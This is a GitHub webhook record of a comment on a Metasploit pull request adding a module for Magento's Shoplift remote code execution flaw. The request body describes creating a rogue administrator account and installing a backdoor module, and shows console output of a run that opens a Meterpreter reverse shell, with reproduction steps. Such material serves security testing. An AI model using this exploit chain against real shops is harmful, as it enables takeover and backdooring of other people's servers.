{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6250","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6250/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6250/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6250/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6250","id":117386597,"number":6250,"title":"Add a module for Magento's Shoplift RCE","user":{"login":"jvoisin","id":325724,"avatar_url":"https://avatars.githubusercontent.com/u/325724?v=3","gravatar_id":"","url":"https://api.github.com/users/jvoisin","html_url":"https://github.com/jvoisin","followers_url":"https://api.github.com/users/jvoisin/followers","following_url":"https://api.github.com/users/jvoisin/following{/other_user}","gists_url":"https://api.github.com/users/jvoisin/gists{/gist_id}","starred_url":"https://api.github.com/users/jvoisin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvoisin/subscriptions","organizations_url":"https://api.github.com/users/jvoisin/orgs","repos_url":"https://api.github.com/users/jvoisin/repos","events_url":"https://api.github.com/users/jvoisin/events{/privacy}","received_events_url":"https://api.github.com/users/jvoisin/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/delayed","name":"delayed","color":"F5A9A9"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":18,"created_at":"2015-11-17T16:01:10Z","updated_at":"2015-11-27T23:37:10Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6250","html_url":"https://github.com/rapid7/metasploit-framework/pull/6250","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6250.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6250.patch"},"body":"This module exploits the infamous [Magento]( https://magento.com/ )'s [Shoplift vulnerability]( https://magento.com/security-patch ) to create a new admininitrator account, then it creates a backdoor module on the fly, and install it to achieve code execution.\r\n\r\nTested on 1.9.0.0 CE and 1.9.1.0 CE.\r\n\r\nAlso, please squash this pull-request before merging it. If you're testing this PR, feel free to test [this one]( https://github.com/rapid7/metasploit-framework/pull/6235 ) at the same time.\r\n\r\n# Console output\r\n\r\n```\r\nmsf > use exploit/multi/http/magento_rce\r\nmsf exploit(magento_rce) > set RHOST 192.168.1.25\r\nRHOST => 192.168.1.25\r\nmsf exploit(magento_rce) > set RPORT 8081\r\nRPORT => 8081\r\nmsf exploit(magento_rce) > set TARGETURI /\r\nTARGETURI => /\r\nmsf exploit(magento_rce) > run\r\n\r\n[*] Started reverse handler on 192.168.1.11:4444 \r\n[*] Account skxQaZQU/ovYoCVXg created on 192.168.1.25:8081\r\n[*] Creating the backdoor file\r\n[*] CSRF token obtained (nBWhtbSPjpBOB6Ag)\r\n[*] Installing the malicious module\r\n[*] Malicious module installed\r\n[*] Requesting malicious webpage\r\n[*] Sending stage (33068 bytes) to 192.168.1.25\r\n[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:43470) at 2015-11-17 16:56:55 +0100\r\n[*] Backdoor package removed\r\n[*] Account skxQaZQU/ovYoCVXg deleted on 192.168.1.25:8081\r\n\r\nmeterpreter > getuid\r\nServer username: www-data (33)\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 192.168.1.25 - Meterpreter session 1 closed.  Reason: User exit\r\nmsf exploit(magento_rce) >\r\n```\r\n\r\n\r\n# How to reproduce\r\n\r\n1. [x] Get the \"Community Edition\" of magento on [its website]( https://www.magentocommerce.com/download ) (Feel free to use bugmenot@mailinator.com/Password1 to log in)\r\n2. [x] Install apache2 and php on your machine,\r\n3. [x] Extract the Magento archive into your `/var/www`\r\n3. [x] Launch metasploit, `use exploit/multi/http/magento_rce`, set options\r\n4. [ ] Get your meterpreter session\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/160227158","html_url":"https://github.com/rapid7/metasploit-framework/pull/6250#issuecomment-160227158","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6250","id":160227158,"user":{"login":"jvoisin","id":325724,"avatar_url":"https://avatars.githubusercontent.com/u/325724?v=3","gravatar_id":"","url":"https://api.github.com/users/jvoisin","html_url":"https://github.com/jvoisin","followers_url":"https://api.github.com/users/jvoisin/followers","following_url":"https://api.github.com/users/jvoisin/following{/other_user}","gists_url":"https://api.github.com/users/jvoisin/gists{/gist_id}","starred_url":"https://api.github.com/users/jvoisin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvoisin/subscriptions","organizations_url":"https://api.github.com/users/jvoisin/orgs","repos_url":"https://api.github.com/users/jvoisin/repos","events_url":"https://api.github.com/users/jvoisin/events{/privacy}","received_events_url":"https://api.github.com/users/jvoisin/received_events","type":"User","site_admin":false},"created_at":"2015-11-27T23:37:10Z","updated_at":"2015-11-27T23:37:10Z","body":"I'll try with apache this week-end, this is driving me crazy!"}}